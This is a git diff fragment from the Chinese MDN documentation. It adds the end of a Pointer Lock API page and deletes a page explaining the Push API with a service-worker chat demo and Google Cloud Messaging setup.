+function pointerLockError() {
+  console.log("锁定指针时出错。");
+}
+
+document.addEventListener('pointerlockerror', pointerLockError, false);
+document.addEventListener('mozpointerlockerror', pointerLockError, false);
+document.addEventListener('webkitpointerlockerror', pointerLockError, false);
+
+function lockPointer() {
+  elem = document.getElementById("pointer-lock-element");
+  // 开始于使元素进入全屏模式。目前的实现
+  // 要求元素在请求指针锁定前要处于全屏模式下
+  // -- 这在以后可能会发生改变。
+  elem.requestFullscreen = elem.requestFullscreen    ||
+                           elem.mozRequestFullscreen ||
+                           elem.mozRequestFullScreen || // 较旧的 API 把 ‘S’ 大写
+                           elem.webkitRequestFullscreen;
+  elem.requestFullscreen();
+}
+</script>
+
+ +

方法/属性 概述

+ +

Pointer lock API, 和 Fullscreen API 类似,通过添加新方法来扩展 DOM 元素, requestPointerLock, 目前还是厂商前缀。按下面这样来写:

+ +
element.webkitRequestPointerLock(); // Chrome
+
+element.mozRequestPointerLock(); // Firefox
+
+ +

目前 requestPointerLock 的实现还是和 requestFullScreen 以及 Fullscreen API 紧紧地绑在一起的。一个元素在能够被指针锁定之前,必须首先进入全屏模式。就像上面演示的那样,锁定指针的过程是异步的,使用 (pointerlockchange, pointerlockerror) 事件来表明请求是成功还是失败了。这和 Fullscreen API 的工作方式是一致的,它使用 requestFullScreen 方法,以及 fullscreenchangefullscreenerror 事件。

+ +

Pointer lock API 还扩展了 document 接口,添加了一个新的属性和一个新的方法。新的属性被用于访问当前被锁定的元素(如果有的话),并被命名为 pointerLockElement,目前也使用厂商前缀。 document 添加的新方法是 exitPointerLock ,顾名思义,它是用来退出指针锁定的。

+ +

pointerLockElement 属性适用于确定当前是否有被指针锁定的元素(例如,用来做一个布尔检查),以及当有元素被锁定时获取该元素的一个引用。下面是这两种用法的一个例子:

+ +
document.pointerLockElement = document.pointerLockElement    ||
+                              document.mozPointerLockElement ||
+                              document.webkitPointerLockElement;
+
+// 1) 用于布尔检查--我们被指针锁定了吗?
+if (!!document.pointerLockElement) {
+  // 指针被锁定
+} else {
+  // 指针未被锁定
+}
+
+// 2) 用于访问指针锁定的元素
+if (document.pointerLockElement === someElement) {
+  // someElement 当前被指针锁定
+}
+
+ +

documentexitPointerLock 方法被用来退出指针锁定,而且和 requestPointerLock 一样,使用 pointerlockchangepointerlockerror事件以异步方式工作:

+ +
document.exitPointerLock = document.exitPointerLock    ||
+                           document.mozExitPointerLock ||
+                           document.webkitExitPointerLock;
+
+function pointerLockChange() {
+  document.pointerLockElement = document.pointerLockElement    ||
+                                document.mozPointerLockElement ||
+                                document.webkitPointerLockElement;
+
+  if (!!document.pointerLockElement) {
+    console.log("目前还是被锁定。");
+  } else {
+    console.log("已经退出锁定。");
+  }
+}
+
+document.addEventListener('pointerlockchange', pointerLockChange, false);
+document.addEventListener('mozpointerlockchange', pointerLockChange, false);
+document.addEventListener('webkitpointerlockchange', pointerLockChange, false);
+
+// 试图解除锁定
+document.exitPointerLock();
+
+ +

pointerlockchange 事件

+ +

当指针锁定状态改变时 - 例如,当调用 requestPointerLock, exitPointerLock,用户按下 ESC 键,等等。— pointerlockchange 事件被分发到 document。 这是一个简单事件所以不包含任何的额外数据。

+ +
该事件目前在 Firefox 中使用前缀的格式是 mozpointerlockchange ,在 Chrome 中是 webkitpointerlockchange。 
+ +

pointerlockerror 事件

+ +

当调用 requestPointerLockexitPointerLock而引发错误时,  pointerlockerror 事件被分发到 document。这是一个简单事件所以不包含任何的额外数据。

+ +
该事件目前在 Firefox 中被加上前缀为 mozpointerlockerror ,在 Chrome 中为 webkitpointerlockerror。 
+ +

鼠标事件扩展

+ +

Pointer lock API 使用 movement 属性扩展了标准的 MouseEvent

+ +
partial interface MouseEvent {
+    readonly attribute long movementX;
+    readonly attribute long movementY;
+};
+ +
movement 属性目前在 Firefox 中被加上前缀为 .mozMovementX.mozMovementY , 在 Chrome 中为.webkitMovementX.webkitMovementY
+ +

鼠标事件的两个新参数—movementX 和 movementY—提供了鼠标位置的变化情况。这两个参数的值,等于两个MouseEvent 属性( screenX 和 screenY)之间值的变化程度,这些 MouseEvent 属性被存储在两个连续的鼠标移动事件( eNow 和 ePrevious)中。换言之,指针锁定参数 movementX = eNow.screenX - ePrevious.screenX。(译注:不存在名为 eNow 或 ePrevious 的事件或属性,eNow 代指当前的鼠标移动事件,ePrevious 代指前一个鼠标移动事件)

+ +

锁定状态

+ +

当指针锁定被启动之后,正常的 MouseEvent 属性 clientX, clientY, screenX, 和 screenY ,保持不变,就像鼠标没有在移动一样。 movementXmovementY 属性持续提供鼠标的位置变化。如果鼠标在一个方向上持续移动,movementXmovementY的值是没有限制的。不存在鼠标光标的概念,而且光标无法移到窗口之外,而且也不会被屏幕边缘所固定。

+ +

未锁定状态

+ +

无论鼠标锁定状态是怎样的, movementX 和 movementY 参数一直有效,并且为了方便起见,甚至在未锁定状态也是有效的。

+ +

当鼠标被解除锁定,系统光标可以退出并重新进入浏览器窗口。如果发生这种情况,movementX 和 movementY 可能会被设置成0。

+ +

iframe 的限制

+ +

指针锁定一次只能锁定一个 iframe。如果你锁定了一个 iframe,你不能试图锁定另外一个 iframe 然后把目标转移到这个 iframe 上;指针锁定将会出错。为了避免这一问题,首先解锁那个锁定的 iframe,然后再锁定另外一个。

+ +

在 iframe 默认的情况下, "sandboxed" iframes 会阻止指针锁定。避免这种限制的能力,即以属性/值 <iframe sandbox="allow-pointer-lock"> 组合的形式 , 有望很快在 Chrome 中出现。

+ +

浏览器兼容性

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + +
特性ChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
基本支持 +

目标是 23{{ property_prefix("webkit") }}*

+ +

参见 CR/72574

+
+

{{ CompatGeckoDesktop("14.0") }}

+ +

{{bug("633602") }}

+
{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}
+
+ +
+ + + + + + + + + + + + + + + + + + + +
特性AndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
基本支持{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}
+
+ +

* 在 about:flags 中要求这些特性被启用或是使用 --enable-pointer-lock 标记启动 Chrome。

+ +

参见

+ +

{{ spec("http://dvcs.w3.org/hg/pointerlock/raw-file/default/index.html", "W3C Pointer Lock API Specification", "ED") }}

+ +

MouseEvent

diff --git a/files/zh-cn/web/api/push_api/using_the_push_api/index.html b/files/zh-cn/web/api/push_api/using_the_push_api/index.html deleted file mode 100644 index e616d4e12d..0000000000 --- a/files/zh-cn/web/api/push_api/using_the_push_api/index.html +++ /dev/null @@ -1,424 +0,0 @@ ---- -title: Using the Push API -slug: Web/API/Push_API/Using_the_Push_API -tags: - - Push - - Push API - - Service Workers - - Using the Push API -translation_of: Web/API/Push_API -translation_of_original: Web/API/Push_API/Using_the_Push_API ---- -

W3C Push API 为开发人员在Web应用程序中提供了一些令人兴奋的新功能:本文提供了一个简单的演示,以获取Push通知的设置和运行。

- -

在任何时候——不论这一应用是否处于激活状态——从服务器向客户端推送消息或者通知的能力,是一种原生应用已经享受了一段时间的能力。现在 Web 应用也拥有了这一能力。桌面系统上的 Firefox 43+ 和 Chrome 42+ 已经支持 Push 的大部分功能,移动平台也很可能在不久的将来提供支持。 {{domxref("PushMessageData")}} 当前只在 Firefox Nightly (44+) 中提供实验性的支持,并且这一实现也可能会变更。

- -
-

Note: Firefox OS 的早期版本使用了这一 API 的一个 proprietary 版本,叫做 Simple Push ,现在已经被 Push API 标准废弃。

-
- -

Demo: the basis of a simple chat server app

- -

我们创建的这一 demo 是一个简单的聊天应用。它提供了一个表单,用来输入聊天内容,还有一个按钮,用来订阅(subscribe)推送的消息。按下按钮后,你将订阅这一消息推送服务,服务器会记录你的信息,同时当前所有的订阅者会收到一个推送消息,告诉他们有人订阅。

- -

此时,新订阅者的名字会出现在订阅者列表上,同时界面上会出现一个文本域和一个提交按钮,允许订阅者发送消息。

- -

- -

要运行这一 demo,请参阅 push-api-demo README。请注意,想要在 Chrome 中使用这一应用并且以一个更合理的方式运行,服务器端还需要大量的工作。然而,推送的细节解释起来特别麻烦,我们先概览这个推送接口是怎么运作的,然后再回来详细了解。

- -

Technology overview

- -

这一部分提供了这一例子中用到的技术的概览。

- -

Web Push 消息是 service workers 技术族的一部分;特别的,一个service worker想要接收消息,就必须在一个页面上被激活。 在 service worker 接收到推送的消息后,你可以决定如何显示这一消息。你可以:

- -
    -
  • 发送一个 Web notification ,弹出一个系统通知提醒用户。这一操作需要发送推送消息的权限。
  • -
  • 通过 {{domxref("MessageChannel")}} 将消息送回主页面。
  • -
- -

通常这两者可以结合使用,下面的 demo 显示了两者的特点。

- -
-

注:你需要在服务器端部署某种形式的代码来处理endpoint数据的加密和发送推送消息的请求。 在我们的Demo里,我们把那些代码放进了一个快速、劣质的服务器代码(a quick-and-dirty server )里,部署在 NodeJS 上。

-
- -

service worker 需要订阅推送消息服务。在订阅服务时,每一个会话会有一个独立的端点(endpoint)。订阅对象的属性({{domxref("PushSubscription.endpoint")}}) 即为端点值。将端点发送给服务器后,服务器用这一值来发送消息给会话的激活的 service worker。不同浏览器需要用不同的推送消息服务器。

- -

加密(Encryption)

- -
-

Note: For an interactive walkthrough, try JR Conlin's Web Push Data Encryption Test Page.

-
- -

在通过推送消息发送数据时,数据需要进行加密。数据加密需要通过 {{domxref("PushSubscription.getKey()")}} 方法产生的一个公钥。这一方法在服务器端运行,通过复杂的密码学机制来生成公钥,详情可参阅 Message Encryption for Web Push 。以后可能会有更多用于处理推送消息加密的库出现,在这一 demo 中,我们使用 Marco Castelluccio's NodeJS web-push library.

- -
-

Note: There is also another library to handle the encryption with a Node and Python version available, see encrypted-content-encoding.

-
- -

Push workflow summary

- -

这里我们总结一下推送消息的实现。在之后的章节中你可以找到这一 demo 代码的更多细节。

- -
    -
  1. 请求 web 通知及你所使用的其他功能的权限。
  2. -
  3. 调用 {{domxref("ServiceWorkerContainer.register()")}} ,注册一个 service worker。
  4. -
  5. 使用 {{domxref("PushManager.subscribe()")}} 订阅推送消息。
  6. -
  7. 取得与订阅相关联的 endpoint ({{domxref("PushSubscription.endpoint")}}),并且生成一个客户公钥({{domxref("PushSubscription.getKey()")}}) 。注意 getKey() 是试验性的,只在 Firefox 有效。
  8. -
  9. 将详细信息发送给服务器,服务器可以用这些信息来发送推送消息。这一 demo 使用 {{domxref("XMLHttpRequest")}} ,但你也可以使用 Fetch
  10. -
  11. 如果你使用 Channel Messaging API 来和 service worker 通信,则创建一个新的 message channel ({{domxref("MessageChannel.MessageChannel()")}}) ,并且在 service worker 调用 {{domxref("Worker.postMessage()")}} ,将 port2 发送给 service worker ,以建立 communication channel 。你应该设置一个 listener 来响应从 service worker 发来的消息。
  12. -
  13. 在服务器端,存储端点以及其他在发送推送消息给订阅者时需要的信息(我们使用一个简单的文本文件,但你可以使用数据库,或者其他你喜欢的方式)。在生产环境中,请保护好这些信息,以防恶意的攻击者用这些信息给订阅者推送垃圾消息。
  14. -
  15. 要发送一个推送消息,你需要向端点 URL 发送一个 HTTP POST 。这一请求需要包括一个 TTL 头,用来规定用户离线时消息队列的最大长度。要在请求中包括数据,你需要使用客户公钥进行加密。在我们的 demo 中,我们使用 web-push 模块来处理困难的部分。
  16. -
  17. 在你的 service worker 中,设置一个 push 事件句柄来响应接收到的推送消息。 -
      -
    1. 如果你想要将一个信道消息发送回主 context(看第6步),你需要先取得之前发送给 service worker 的  port2 的引用 ({{domxref("MessagePort")}}) 。这个可以通过传给 onmessage handler ({{domxref("ServiceWorkerGlobalScope.onmessage")}}) 的{{domxref("MessageEvent")}} 对象取得。 具体地说,是 ports 属性的索引 0 。 之后你可以用 {{domxref("MessagePort.postMessage()")}} 来向 port1 发送消息 。
    2. -
    3. 如果你想要使用系统通知,可以调用 {{domxref("ServiceWorkerRegistration.showNotification()")}} 。注意,在我们的代码中,我们将其运行在一个 {{domxref("ExtendableEvent.waitUntil()")}} 方法中——这样做将事件的 生命周期(lifetime)扩展到了通知被处理后,使得我们可以确认事情像我们期望的那样进行。
    4. -
    -
  18. -
- -

Building up the demo

- -

让我们浏览一下 demo 的代码,理解一下它是如何工作的。

- -

The HTML and CSS

- -

这个 demo 的 HTML 和 CSS 没有什么需要特别留意的地方。初始化时,HTML包含一个简单的表单、一个按钮和两个列表。按钮用来订阅,两个列表分别显示订阅者和聊天消息。订阅之后,会出现用来输入聊天消息的控件。

- -

为了对不干扰 Push API 的理解,CSS被设计得非常简单。

- -

The main JavaScript file

- -

JavaScript 明显更加重要。让我们看看主 JS 文件。

- -

Variables and initial setup

- -

开始时,我们声明一些需要使用的变量:

- -
var isPushEnabled = false;
-var useNotifications = false;
-
-var subBtn = document.querySelector('.subscribe');
-var sendBtn;
-var sendInput;
-
-var controlsBlock = document.querySelector('.controls');
-var subscribersList = document.querySelector('.subscribers ul');
-var messagesList = document.querySelector('.messages ul');
-
-var nameForm = document.querySelector('#form');
-var nameInput = document.querySelector('#name-input');
-nameForm.onsubmit = function(e) {
-  e.preventDefault()
-};
-nameInput.value = 'Bob';
- -

首先,是两个布尔变量,一个用来记录 Push 是否被订阅,一个用来记录是否有通知的权限。

- -

其次,是订阅/取消订阅 {{htmlelement("button")}} 的引用,以及发送消息按钮的引用和输入的引用(订阅成功之后按钮和输入才会创建)。

- -

接下来,是页面上的三个{{htmlelement("div")}} 元素的引用,在需要插入元素时会用到(比如创建 Send Chat Message 按钮,或者 Messages 列表中增加聊天消息时)。

- -

最后,是 name selection 表单和 {{htmlelement("input")}} 元素的引用。我们给 input 一个默认值,并且使用 preventDefault() 方法,让按下回车时不会自动提交表单。

- -

之后,我们通过 {{domxref("Notification.requestPermission","requestPermission()")}} 请求发送web通知的权限:

- -
Notification.requestPermission();
- -

onload 时我们运行一段代码,让应用开始初次加载时的初始化过程。首先我们给 subscribe/unsubscribe 按钮添加 click event listener ,让这一按钮在已经订阅(isPushEnabled为真)时执行 unsubscribe() 函数,否则执行 subscribe()

- -
window.addEventListener('load', function() {
-  subBtn.addEventListener('click', function() {
-    if (isPushEnabled) {
-      unsubscribe();
-    } else {
-      subscribe();
-    }
-  });
- -

之后,我们检查 service workers 是否被支持。如果支持,则用 {{domxref("ServiceWorkerContainer.register()")}} 注册一个 service worker 并且运行 initialiseState() 函数。若不支持,则向控制台输出一条错误信息。

- -
  // Check that service workers are supported, if so, progressively
-  // enhance and add push messaging support, otherwise continue without it.
-  if ('serviceWorker' in navigator) {
-    navigator.serviceWorker.register('sw.js').then(function(reg) {
-      if(reg.installing) {
-        console.log('Service worker installing');
-      } else if(reg.waiting) {
-        console.log('Service worker installed');
-      } else if(reg.active) {
-        console.log('Service worker active');
-      }
-
-      initialiseState(reg);
-    });
-  } else {
-    console.log('Service workers aren\'t supported in this browser.');
-  }
-});
-
- -

接下来是 initialiseState() 函数。查看 initialiseState() source on Github 可获得有注释的完整源码(简洁起见,此处省略)。

- -

initialiseState() 首先检查 service workers 是否支持 notifications ,如果支持则将 useNotifications 变量设为真。之后检查用户是否允许 said notifications , push messages 是否支持,并分别进行设置。

- -

最后,使用 {{domxref("ServiceWorkerContainer.ready()")}} 来检测 service worker 是否被激活并开始运行,会返回一个Promise对象。当这一 promise 对象 resolve 时,我们访问 {{domxref("ServiceWorkerRegistration.pushManager")}} 属性,得到一个 {{domxref("PushManager")}} 对象,再调用该对象的 {{domxref("PushManager.getSubscription()")}}方法,最终获得用来推送消息的订阅对象。当第二个 promise 对象 resolve 时,我们启用 subscribe/unsubscribe 按钮(subBtn.disabled = false;),并确认订阅对象。

- -

这样做了之后,订阅的准备工作已经完成了。即使这一应用并没有在浏览器中打开, service worker 也依然可能在后台处于激活状态。如果我们已经订阅,则对UI进行更新,修改按钮的标签,之后将 isPushEnabled 设为真,通过 {{domxref("PushSubscription.endpoint")}} 取得订阅的端点,通过 {{domxref("PushSubscription.getKey()")}} 生成一个公钥,调用 updateStatus() 方法与服务器进行通信。

- -

此外,我们通过 {{domxref("MessageChannel.MessageChannel()")}} 得到一个新的 {{domxref("MessageChannel")}} 对象,并通过 {{domxref("ServiceworkerRegistration.active")}} 得到一个激活的 service worker 的引用,然后通过 {{domxref("Worker.postMessage()")}} 在主浏览器 context 和 service worker 间建立起一个信道。浏览器 context 接收 {{domxref("MessageChannel.port1")}} 中的消息。当有消息到来时,我们使用 handleChannelMessage() 方法来决定如何处理数据(参阅{{anch("Handling channel messages sent from the service worker")}})。

- -

订阅和取消订阅(Subscribing and unsubscribing)

- -

现在把我们的注意力转到 subscribe() 和 unsubscribe() 函数上,它们用来订阅或取消订阅 来自服务器的通知。

- -

在订阅的时候,我们使用 {{domxref("ServiceWorkerContainer.ready()")}}方法再一次确认service worker处于激活状态并且可以使用了。当 promise 成功执行,我们用{{domxref("PushManager.subscribe()")}}方法订阅服务。如果订阅成功,我们会得到一个 {{domxref("PushSubscription")}} 对象,它携带了endpoint信息 ,并且可以产生(generate)一个公钥的方法 (再多说一点,{{domxref("PushSubscription.endpoint")}}属性和{{domxref("PushSubscription.getKey()")}}方法),我们要把这两个信息传递给updateStatus() 函数,同时还要传递第三个信息——更新状态的类型(订阅还是不订阅),让它能够把这些必要的细节传递给服务器。

- -

我们也需要更新我们应用的状态 (设置 isPushEnabledtrue) 和 UI (激活订阅或者不订阅的按钮,同时改变标签的显示状态,让用户下一次点击按钮的时候变成不订阅的状态或者订阅的状态。)

- -

不订阅 unsubscribe() 函数在结构上和订阅函数相识,然而基本上它们做的是完全相反的事; 最值得注意的不同是得到当前订阅对象是使用{{domxref("PushManager.getSubscription()")}}方法,而且使用{{domxref("PushSubscription.unsubscribe()")}}方法获得的promise对象。

- -

在两个函数中也提供了适当的错误处理函数。

- -

为了节省时间,我们只在下面展示subscribe()的代码;查看全部请点击 subscribe/unsubscribe code on Github.

- -
function subscribe() {
-  // Disable the button so it can't be changed while
-  // we process the permission request
-
-  subBtn.disabled = true;
-
-  navigator.serviceWorker.ready.then(function(reg) {
-    reg.pushManager.subscribe({userVisibleOnly: true})
-      .then(function(subscription) {
-        // The subscription was successful
-        isPushEnabled = true;
-        subBtn.textContent = 'Unsubscribe from Push Messaging';
-        subBtn.disabled = false;
-
-        // Update status to subscribe current user on server, and to let
-        // other users know this user has subscribed
-        var endpoint = subscription.endpoint;
-        var key = subscription.getKey('p256dh');
-        updateStatus(endpoint,key,'subscribe');
-      })
-      .catch(function(e) {
-        if (Notification.permission === 'denied') {
-          // The user denied the notification permission which
-          // means we failed to subscribe and the user will need
-          // to manually change the notification permission to
-          // subscribe to push messages
-          console.log('Permission for Notifications was denied');
-
-        } else {
-          // A problem occurred with the subscription, this can
-          // often be down to an issue or lack of the gcm_sender_id
-          // and / or gcm_user_visible_only
-          console.log('Unable to subscribe to push.', e);
-          subBtn.disabled = false;
-          subBtn.textContent = 'Subscribe to Push Messaging';
-        }
-      });
-  });
-}
- -

更新应用和服务器的状态

- -

接下来的一个主要的JavaScript函数就是updateStatus(),当订阅和取消订阅的时候,它负责更新UI中与服务器沟通的信息并发送状态更新的请求给服务器。

- -

这个函数做了三件事当中的哪一件事,取决于下面赋值给statusType的类型:

- -
    -
  • subscribe: 一个按钮和和一个聊天信息的input输入框被创建后,就被插入到UI界面里面,然后通过XHR请求发送了一个包含状态信息的字面量对象给服务器,包含了statusType(subscribe)、订阅者的名字( username of the subscriber)、订阅终端(subscription endpoint)和客户端公钥(client public key)。
  • -
  • unsubscribe: 这个和订阅基本上是相反的——聊天的按钮和输入框被移除,同时又一个字面量对象被发送给服务器,告诉它取消订阅。
  • -
  • init: 当应用被第一次载入或者安装的时候会运行——它创建与服务器沟通的UI,并且发送一个对象告诉服务器是哪一个用户初始化(重新载入)了。
  • -
- -

再多说一句,为了简介这里不会展示全部的代码。检查全部代码点击: full updateStatus() code on Github.

- -

处理在service worker中发送过来的channel message

- -

正如刚才我们提到的,当我们接收到从service worker发送的channel message 时,我们的 handleChannelMessage() 函数才会去执行它。 我们用{{domxref("channel.port1.onmessage")}}事件处理函数去处理{{event("message")}} event, :

- -
channel.port1.onmessage = function(e) {
-  handleChannelMessage(e.data);
-}
- -

这个函数会在service worker中发送信息给页面的时候在页面中执行(This occurs when the service worker sends a channel message over)。

- -

 handleChannelMessage() 函数如下:

- -
function handleChannelMessage(data) {
-  if(data.action === 'subscribe' || data.action === 'init') {
-    var listItem = document.createElement('li');
-    listItem.textContent = data.name;
-    subscribersList.appendChild(listItem);
-  } else if(data.action === 'unsubscribe') {
-    for(i = 0; i < subscribersList.children.length; i++) {
-      if(subscribersList.children[i].textContent === data.name) {
-        subscribersList.children[i].parentNode.removeChild(subscribersList.children[i]);
-      }
-    }
-    nameInput.disabled = false;
-  } else if(data.action === 'chatMsg') {
-    var listItem = document.createElement('li');
-    listItem.textContent = data.name + ": " + data.msg;
-    messagesList.appendChild(listItem);
-    sendInput.value = '';
-  }
-}
- -

这个函数会做什么取决于传入的action参数的赋值:

- -
    -
  • subscribe or init (在启动和重启的时候,我们需要在这个示例中做同样的事情):一个{{htmlelement("li")}} 元素被创建,它的text content 被设置为 data.name (订阅者的名字),然后它被添加到订阅者的列表里(一个简单的 {{htmlelement("ul")}}元素里),所以这里是订阅者(再次)加入聊天的一个视觉反馈。
  • -
  • unsubscribe: 我们循环遍历订阅者的列表,查找谁的 text content 和data.name (取消订阅者的名字)相同,然后删除这个节点以提供一个视觉反馈表示有人取消订阅了。
  • -
  • chatMsg: 和第一个表现的形式类似, 一个 {{htmlelement("li")}}被创建,它的text content设置为data.name + ": " + data.msg (例如: "Chris: This is my message"), 然后它被添加到每一个用户UI的聊天列表里。
  • -
- -
-

注:  我们需要在更新DOM之前传递需要的数据给主页面(main context), 因为service worker不能操作DOM。你在使用前一定要知道service worker的一些限制。阅读 Using Service Workers 获取更多细节.

-
- -

发送聊天信息

- -

当‘Send Chat Message‘ 按钮被点击后,相关联的文本域的内容就作为聊天内容被发送出去。这个由 sendChatMessage() 函数处理(再多说一句,为了简洁就不展示了). 这个和 updateStatus() 的不同之处也是差不多的。 (查看 {{anch("Updating the status in the app and server")}}) — 我们获得 endpoint 和 public key 是来自一个 {{domxref("PushSubscription")}} 对象, 这个对象又是来自于 {{domxref("ServiceWorkerContainer.ready()")}} 方法和{{domxref("PushManager.subscribe()")}}方法。它们(endpoint、public key)被传递进一个字面量对象里面( in a message object),同时含有订阅用户的名字,聊天信息,和chatMsg的statusType,然后通过{{domxref("XMLHttpRequest")}}对象发送出去的,。

- -

服务端(The Server)

- -

正如我们上面提到的,我们需要一个服务端的容器去存储订阅者的信息,并且还要在状态更新时发送推送消息给客户端。 我们已经用一种hack的方式把一些需要的东西放到了一个快速-劣质(quick-and-dirty)的NodeJS 服务端上(server.js),用于处理来自客户端JavaScript的异步请求。

- -

它用一个文本文件 (endpoint.txt)去存储订阅者的信息;这个文件一开始是空的(empty)。 有四种不同类型的请求,分别由被传输过来的对象中的statusType决定;这些在客户端通俗易懂的的状态类型同样也适用于服务端,因为服务端也有相同的状态。下面是这四个个状态在服务端代表的各自的含义。

- -
    -
  • subscribe: 服务器将会添加订阅者的信息到存储的容器里 (endpoint.txt),包括endpoint等,然后会推送给所有已经订阅了的订阅者一条消息,告诉每一个订阅者有新的订阅者加入了聊天。
  • -
  • unsubscribe: 服务器在存储订阅信息的容器里找到发送该类型请求的订阅者的详情,并移除这个订阅者的信息,然后推送一条消息给所有依然订阅的用户,告诉他们这个人取消订阅了。
  • -
  • init: 服务器从那个存储信息的文本中读取所有订阅者的信息,然后告诉他们有人初始化或者再次加入了这个聊天。
  • -
  • chatMsg: 推送一条订阅者想发送的信息给所有的订阅者;服务器从存储容器里读取现在订阅者的信息,然后服务器给每一个人推送一条包含聊天信息的消息。
  • -
- -

其他需要注意的东西:

- -
    -
  • 我们使用的是Node.js的 https 模块  去创建的服务器,因为出于安全考虑,service worker只允许工作在一个安全的连接里(https only)。这也就是为什么我们要在应用里包含了.pfx 安全证书,然后在Node代码里引用这个证书。
  • -
  • 当你发送一条没有数据的推送消息的时候,只需要把它用http的post请求发送给对应订阅者的endpoint的URL。然而,当推送消息里包含数据的时候,你需要加密它,这个加密过程往往很复杂。随着时间的推移,一些出现的库文件(libraries)帮你做了这部分的工作。在这个demo里面我们用了 Marco Castelluccio的NodeJS库文件(web-push library)。查阅这些源代码了解更多加密过程是怎么完成的 (查阅 Message Encryption for Web Push 获取更多细节)。库文件让发送一条推送消息变得简单( The library makes sending a push message simple)。
  • -
- -

The service worker

- -

现在让我们来看看服务工作者代码(sw.js),它响应由{{Event("push")}}事件表示的推送消息。 这些通过({{domxref("ServiceWorkerGlobalScope.onpush")}})事件处理程序在服务工作人员的范围内处理; 它的工作就是为每个收到的消息做出回应。 我们首先通过调用{{domxref("PushMessageData.json()")}}将收到的消息转换回对象。然后,通过查看这个对象的action属性,就能知道这个推送消息的类型:

- -
    -
  • subscribe 或者 unsubscribe: 我们发送一个系统通知是通过 fireNotification() 函数,但同时,也通过{{domxref("MessageChannel")}}把这个消息发送回函数的上下文环境(main context),以便我们相应地更新订阅者列表(subscriber list) (查看 {{anch("Handling channel messages sent from the service worker")}} 了解详细).
  • -
  • init 或者 chatMsg: 我们只是发送一个消息回主要的上下文(main context)来处理 initchatMsg 情况(这些不需要系统通知).
  • -
- -
self.addEventListener('push', function(event) {
-  var obj = event.data.json();
-
-  if(obj.action === 'subscribe' || obj.action === 'unsubscribe') {
-    fireNotification(obj, event);
-    port.postMessage(obj);
-  } else if(obj.action === 'init' || obj.action === 'chatMsg') {
-    port.postMessage(obj);
-  }
-});
- -

下一步, 让我们看看 fireNotification() 函数的代码 (它真的太他妈简单了).

- -
function fireNotification(obj, event) {
-  var title = 'Subscription change';
-  var body = obj.name + ' has ' + obj.action + 'd.';
-  var icon = 'push-icon.png';
-  var tag = 'push';
-
-  event.waitUntil(self.registration.showNotification(title, {
-    body: body,
-    icon: icon,
-    tag: tag
-  }));
-}
- -

我们先在这里列出通知消息框所需要的资源:标题、主体内容、图标。然后我们通过 {{domxref("ServiceWorkerRegistration.showNotification()")}} 方法把这个通知发送出去,同时提供一个"push"给tag属性,表示这是一个推送消息,以便我们能够在全部的通知消息中找到(identify)这个推送消息。 当我们成功发送一条推送消息,它可能会在用户对应的电脑或者设备上展示一个系统通知对话框,在不同的设备上通知对话框的外观可能是不一样的(下面的这张图片展示的是Mac OSX系统上的通知对话框)。

- -

- -

注意,我们做的这些都包裹在{{domxref("ExtendableEvent.waitUntil()")}} 方法里;这是为了让ServiceWorker在发送通知消息的过程中依然保持活动,知道消息发送完成。 waitUntil() 会延长service worker的生命周期至(这个周期里)所有活动都已经完成。

- -
-

Note: Web notifications from service workers were introduced around Firefox version 42, but are likely to be removed again while the surrounding functionality (such as Clients.openWindow()) is properly implemented (see {{bug(1203324)}} for more details.)

-
- -

处理推送订阅过早失效(Handling premature subscription expiration)

- -

有时候,推送订阅会过早失效,而不会调用{{domxref("PushSubscription.unsubscribe()")}} 。例如,当服务器过载或长时间处于脱机状态时,可能会发生这种情况。这是高度依赖于服务器的,所以确切的行为很难预测。 在任何情况下,您都可以通过查看{{Event("pushsubscriptionchange")}} 事件来处理此问题,您可以通过提供{{domxref("ServiceWorkerGlobalScope.onpushsubscriptionchange")}} 事件处理程序来侦听此事件;这个事件只会在这种情况下才会被触发。

- -
self.addEventListener('pushsubscriptionchange', function() {
-  // do something,一般来说都会在这里重新订阅,
-  // 并通过XHR或者Fetch发送新的订阅信息回服务器
-});
- -

注意,我们在demo里没有覆盖这种情况,因为订阅端点(subscription ending)作为一个简单的聊天服务器并不是什么难事。但是对于更复杂的示例,您可能需要重新订阅(resubscribe )用户。

- -

(让Chrome支持的额外步骤)Extra steps for Chrome support

- -

为了让应用也能够在Chrome上面运行,我们需要一些额外的步骤,因为在Chrome上,现在需要依赖谷歌云消息推送(Google's Cloud Messaging) 服务才能正常工作。

- -

配置谷歌云消息推送(Setting up Google Cloud Messaging)

- -

按照以下步骤配置:

- -
    -
  1. 跳转到 Google Developers Console  然后创建一个新项目。
  2. -
  3. 进入你项目主页(例如:我们的示例是在 https://console.developers.google.com/project/push-project-978), 然后 -
      -
    1. 在你的应用选项里打开 Google APIs
    2. -
    3. 在下一屏,在移动API那一部分下面点击“Cloud Messaging for Android” 。
    4. -
    5. 点击开启API按钮。
    6. -
    -
  4. -
  5. 现在你需要记下你的项目编号和API key,因为待会儿你会用到他们。 它们在这些地方: -
      -
    1. 项目编号: 点击左侧的主页;项目编号在你的项目主页上方很容易看见的位置。
    2. -
    3. API key: 点击左边菜单里的证书(Credentials );API key 能够在这个页面找到。
    4. -
    -
  6. -
- -

manifest.json

- -

你需要在你的应用里包含Google应用风格的 manifest.json ,这里面的 gcm_sender_id 参数需要设置为你的项目编号。下面是一个简单的示例(manifest.json):

- -
{
-  "name": "Push Demo",
-  "short_name": "Push Demo",
-  "icons": [{
-        "src": "push-icon.png",
-        "sizes": "111x111",
-        "type": "image/png"
-      }],
-  "start_url": "/index.html",
-  "display": "standalone",
-  "gcm_sender_id": "224273183921"
-}
- -

同时,你也需要在HTML文档用一个{{HTMLElement("link")}} 标签里指向你的manifest文件:

- -
<link rel="manifest" href="manifest.json">
- -

userVisibleOnly参数

- -

Chrome 要求你在订阅推送服务的时候设置 userVisibleOnly 参数 为 true , 表示我们承诺每当收到推送通知时都会显示通知。这可以在我们的 subscribe() 函数 中看到。

- -

See also

- - - -
-

Note: Some of the client-side code in our Push demo is heavily influenced by Matt Gaunt's excellent examples in Push Notifications on the Open Web. Thanks for the awesome work, Matt!

-
